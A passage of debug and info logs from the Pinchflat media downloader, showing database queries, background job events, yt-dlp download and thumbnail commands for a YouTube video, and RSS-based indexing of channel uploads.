s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:04:54.397 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:04:54.397 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12825] 00:04:54.397 [info] No notification servers provided for source 3 00:04:54.397 [debug] QUERY OK source="tasks" db=0.0ms idle=0.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [470, 3, ~U[2026-07-24 00:04:54Z], ~U[2026-07-24 00:04:54Z]] 00:04:54.397 [info] {"args":{"id":3},"id":466,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3322625,"event":"job:stop","queue_time":554007,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:04:54.400 [info] {"args":{"id":12825},"id":469,"meta":{},"system_time":1784851494400095286,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:04:54.400 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 00:04:54.400 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:04:54.400 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:04:54.400 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:04:54.400 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12825] 00:04:54.401 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12825] 00:04:54.401 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:04:54.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:54.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:54.401 [debug] Running yt-dlp command for action: get_downloadable_status 00:04:54.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:54.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:54.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:54.401 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ee/cd/eecd1e1cc7d18915d642fffb0cc0538376e8ad78009e23d9dda072e1b1915408.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:04:54.972 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:57.022 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ee/cd/eecd1e1cc7d18915d642fffb0cc0538376e8ad78009e23d9dda072e1b1915408.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:04:57.023 [debug] Running yt-dlp command for action: download 00:04:57.023 [debug] QUERY OK source="settings" db=0.1ms idle=1022.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:57.023 [debug] QUERY OK source="settings" db=0.0ms idle=1022.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:57.023 [debug] QUERY OK source="settings" db=0.0ms idle=1022.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:57.023 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2a/ba/2aba5b1b98872cc9fc08495177ecac461e16b126975141853726e184642213e1.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:05:00.734 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:24.973 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:32.673 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2a/ba/2aba5b1b98872cc9fc08495177ecac461e16b126975141853726e184642213e1.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:05:32.691 [debug] Running yt-dlp command for action: download_thumbnail 00:05:32.691 [debug] QUERY OK source="settings" db=0.0ms idle=1580.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:05:32.691 [debug] QUERY OK source="settings" db=0.0ms idle=690.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:05:32.691 [debug] QUERY OK source="settings" db=0.0ms idle=690.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:05:32.691 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12825/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e9/f9/e9f9680cd97047a71e80520d8193749581f025e3d37da2dc8efda74d3139c60a.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:05:35.361 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12825/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e9/f9/e9f9680cd97047a71e80520d8193749581f025e3d37da2dc8efda74d3139c60a.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:05:35.361 [debug] QUERY OK db=0.0ms idle=1360.9ms begin [] 00:05:35.362 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 00:05:32Z], "/downloads/emmymade/2026-07-24 Make 5-Ingredient Cinnamon Toast Crunch Cereal/Make 5-Ingredient Cinnamon Toast Crunch Cereal [vg009pFTlhA].mp4", "/downloads/emmymade/2026-07-24 Make 5-Ingredient Cinnamon Toast Crunch Cereal/Make 5-Ingredient Cinnamon Toast Crunch Cereal [vg009pFTlhA]-thumb.jpg", ~U[2026-07-24 00:05:35Z], 12825] 00:05:35.362 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/12825/metadata.json.gz", "/config/metadata/media_items/12825/thumbnail.jpg", 12825, ~U[2026-07-24 00:05:35Z], ~U[2026-07-24 00:05:35Z]] 00:05:35.362 [debug] QUERY OK db=0.0ms commit [] 00:05:35.363 [debug] QUERY OK source="media_items" db=0.5ms idle=1361.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [304594075, ~U[2026-07-24 00:05:35Z], 12825] 00:05:35.363 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:05:35.363 [info] {"args":{"id":12825},"id":469,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":40963233,"event":"job:stop","queue_time":399789,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:05:54.974 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.735 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:24.975 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:54.977 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.736 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:24.978 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:54.979 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.737 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:24.980 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:54.981 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.738 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:24.982 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:54.983 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.739 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:24.984 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:38.439 [info] {"args":{"id":1},"id":467,"meta":{},"system_time":1784851838439320386,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:10:38.439 [debug] QUERY OK source="sources" db=0.0ms idle=438.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:10:38.439 [debug] QUERY OK source="settings" db=0.0ms idle=438.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:10:38.439 [debug] QUERY OK source="media_profiles" db=0.0ms idle=438.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:10:38.439 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:10:38.439 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:10:38.566 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:10:38.566 [debug] QUERY OK source="media_items" db=0.2ms idle=127.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:10:38.569 [debug] QUERY OK source="media_items" db=2.0ms idle=127.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:10:38.569 [debug] QUERY OK source="tasks" db=0.0ms idle=129.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [471, 1, ~U[2026-07-24 00:10:38Z], ~U[2026-07-24 00:10:38Z]] 00:10:38.570 [info] {"args":{"id":1},"id":467,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130679,"event":"job:stop","queue_time":270429,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:10:39.440 [info] {"args":{"id":2},"id":468,"meta":{},"system_time":1784851839440233081,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:10:39.440 [debug] QUERY OK source="sources" db=0.0ms idle=870.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:10:39.440 [debug] QUERY OK source="settings" db=0.0ms idle=870.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:10:39.440 [debug] QUERY OK source="media_profiles" db=0.0ms idle=864.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:10:39.440 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:10:39.440 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:10:39.468 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:10:39.468 [debug] QUERY OK source="media_items" db=0.2ms idle=28.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:10:39.469 